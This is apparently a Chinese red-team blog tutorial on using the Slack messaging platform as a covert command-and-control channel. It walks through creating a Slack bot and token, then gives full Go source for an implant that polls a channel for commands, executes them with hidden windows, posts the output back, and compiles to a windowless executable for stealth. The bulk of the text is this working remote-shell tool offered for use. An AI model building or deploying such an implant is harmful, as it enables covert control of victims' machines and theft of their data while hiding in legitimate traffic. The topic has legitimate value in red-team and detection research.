前言
攻击者可以通过合法Web服务通道向受控主机发送控制命令和接收指令返回,这也是APT组织常用的攻击手法。攻击者一般会利用流行的网站和社交媒体来托管C2指令,受控主机可以通过该Web服务通道将这些命令的输出发回。控制指令的下达和数据回传可能以多种方式发生,例如,攻击者下达控制指令的方式可能是在论坛上发表评论、更新 Web 服务上托管的文档或发送推文等。
作为C2通道的流行网站和社交媒体可能会提供大量的掩护,因为网络中的主机可能在受控之前已经与它们通信。使用谷歌或推特等提供的通用服务,可以让恶意程序更容易隐藏。Web服务提供商通常使用SSL/TLS加密,为攻击者提供额外的流量保护。下面介绍如何使用合法消息平台Slack作为C2通道。
环境搭建
访问Slack官网:https://slack.com/,注册账号,创建一个工作区。
接下来创建一个机器人(应用程序),后面需要利用机器人token调api接口,通过机器人来向终端下发指令和传输到Slack界面。
给机器人起个名,工作区选择刚刚新建的,然后创建应用程序。
随后会跳转到一个页面,在左侧列表中选择OAuth & Permission。
需要记住下面这个token,这是终端与Slack服务端交互的凭证。
设置机器人的功能范围,实现简单的cmdshell控制只需要读取历史聊天记录和发送消息的权限即可。后面有其他要用的功能可以再加。
然后回到token那个地方,点安装到工作区(install to workspace),到下面的界面,点允许。
然后会跳转到一个频道界面,发送 /invite @机器人名,将刚刚创建的机器人(应用程序)加入到频道。
这个频道的ID也需要记住,是URL最后的字符串。
实现思路
在频道中输入控制指令,使用获取历史记录的接口从特定频道拉取指令,由于机器人在频道中,使用机器人token作为认证即可。控制指令的消息可以使用shell前缀标识这是控制指令,也可以加一些退出客户端的指令例如exit等。
客户端进行字符串处理后获取到控制指令进行执行,然后调用发送消息的接口,通过机器人token上传命令执行的输出,让机器人将控制指令的输出反馈在频道对话框中。
首先测试一下接口获取历史消息是否正常。在频道随便发送一条消息。
Slack可供机器人使用的所有api:https://api.slack.com/methods
进入获取聊天记录的api的测试页面测试下获取聊天记录:
https://api.slack.com/methods/conversations.history/test
配置好token和频道ID,点test之后可以成功获取到聊天记录。
由于要实现交互,客户端需要不断拉取最新的指令,所以还需要实现每多长时间请求一次数据,类似于CS的Beacon睡眠间隔。
实现思路大致是这样,接下来就是编写客户端代码。(实际测试时换了个频道和机器人)
一些问题的解决
1、输出返回中文乱码问题
在实际测试过程中,遇到了一个问题,如果控制指令输出的字符串中含有中文,在Slack频道中会显示乱码,如下所示:
本来我以为是http传输的问题,试了一些编码之后发现除了换了种乱码没有任何效果,由于是使用exec.Command()进行控制指令执行,在它的输出位置下断点,发现该函数的输出就已经是乱码,这个函数无法正常的输出中文。
百度发现使用text包即可解决。执行指令:go get golang.org/x/text下载。代码中引入"golang.org/x/text/encoding/simplifiedchinese",然后在结果输出时转换字符集即可。
效果如下:
2、调用子进程窗口隐藏问题
虽然可以通过设置编译参数将客户端程序执行时的控制台窗口隐藏,但是程序调用的子进程仍然会弹出窗口,隐蔽性不佳,如下所示:
要解决该问题,需要在获取exec.Command()执行命令输出之前加入如下代码,来隐藏调用的子进程的控制台窗口:
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
经测试不会再弹出调用的子进程控制台窗口。
3、重复获取历史指令问题
在获取历史指令时,由于一开始是直接获取全部的历史聊天记录,这就导致每次客户端向api请求数据时都会将历史执行过的指令再请求一遍,要解决这个问题,有两种思路。
第一种,根据官方文档,可以在api请求中设置一个"limit"参数,将其设置为1,意为指获取最近的1条历史指令,这样就可以避免重复执行历史指令。
第二种,在处理返回的json数据时,只取其中的第一个对象里的text值,也就是最近的那条历史聊天记录数据进行指令提取。
效果测试
shell+cmd指令,中文正常输出:
exit指令退出程序:
将go文件编译成无控制台窗口的exe文件:
双击exe后程序无输出窗口隐蔽运行,可以正常执行指令:
这只是一个最简单的cmdshell实现,还有很多api接口,可以自行实现更多功能。
实现代码(Golang)
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"os"
"os/exec"
"strconv"
"strings"
"syscall"
"time"
"github.com/tidwall/gjson"
"golang.org/x/text/encoding/simplifiedchinese"
)
const (
HistoryApi = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
FileUpload = "https://slack.com/api/files.upload"
Authorization = "Bearer xoxb-xxx"
Channel = "频道ID"
)
//每10s请求一次
var Timer = 10
func sleep() {
fmt.Sprintf("sleep %s", Timer)
time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
for true {
result := GetCommandFromApi(HistoryApi, "messages.0.text")
if strings.HasPrefix(result.Str, "shell") {
cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
SendShellResult(cmdRes)
} else if strings.HasPrefix(result.Str, "exit") {
os.Exit(0)
} else if strings.HasPrefix(result.Str, "sleep") {
s := strings.Split(result.Str, " ")[1]
atoi, err := strconv.Atoi(s)
if err != nil {
SendShellResult(err.Error())
}
Timer = atoi
} else {
fmt.Println("no command")
}
sleep()
}}
func ExecCommand(command []string) (out string) {
fmt.Println(command)
cmd := exec.Command(command[0], command[1:]...)
// 隐藏子进程窗口,避免执行指令时客户端弹出黑框
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
o, err := cmd.CombinedOutput()
// 转换字符集,解决UTF-8乱码
output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o))
if err != nil {
out = fmt.Sprintf("指令执行错误: n%sn", err)
} else {
out = fmt.Sprintf("指令输出结果:n%sn", string(output))
}
return
}
func GetCommandFromApi(apiUrl string, rule string) gjson.Result {
token := Authorization
channelID := Channel
// 调用函数时传入要用的apiUrl,请求对应的api
r, err := http.NewRequest("GET", apiUrl, nil)
if err != nil {
fmt.Println("创建请求失败:", err)
return gjson.Result{}
}
// 设置authorization header为Slack机器人Token
r.Header.Set("Authorization", token)
// 设置请求参数
q := r.URL.Query()
// 设置Slack频道
q.Add("channel", channelID)
// 每次只获取最近的一条历史记录,避免重复执行历史指令
q.Add("limit", "1")
r.URL.RawQuery = q.Encode()
// 发送请求获取响应包
client := &http.Client{}
resp, err := client.Do(r)
if err != nil {
fmt.Println("发送请求失败:", err)
return gjson.Result{}
}
defer resp.Body.Close()
bytes, err := io.ReadAll(resp.Body)
//fmt.Println(string(bytes))
return gjson.GetBytes(bytes, rule)
}
func SendShellResult(text2 string) {
// 设置token、频道和要发送的内容,发送内容通过参数传入
token := Authorization
message := text2
channelID := Channel
// 构建JSON数据
jsonData := map[string]string{
"text": message,
"channel": channelID,
}
// 将JSON数据编码为url.Values格式的数据
values := url.Values{}
for k, v := range jsonData {
values.Add(k, v)
}
// 发送HTTP POST请求
client := &http.Client{}
req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode()))
if err != nil {
fmt.Println("发送消息失败:", err)
return
}
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Add("Authorization", token)
// 处理响应
resp, err := client.Do(req)
if err != nil {
fmt.Println("发送消息失败:", err)
return
}
defer resp.Body.Close()
// 读取响应内容
respData := make(map[string]interface{})
if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil {
fmt.Println("读取响应失败:", err)
return
}}
参考文章
https://www.chabug.org/web/1926
原文始发于微信公众号(红蓝攻防研究实验室):使用合法WEB服务平台作为C2通道
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论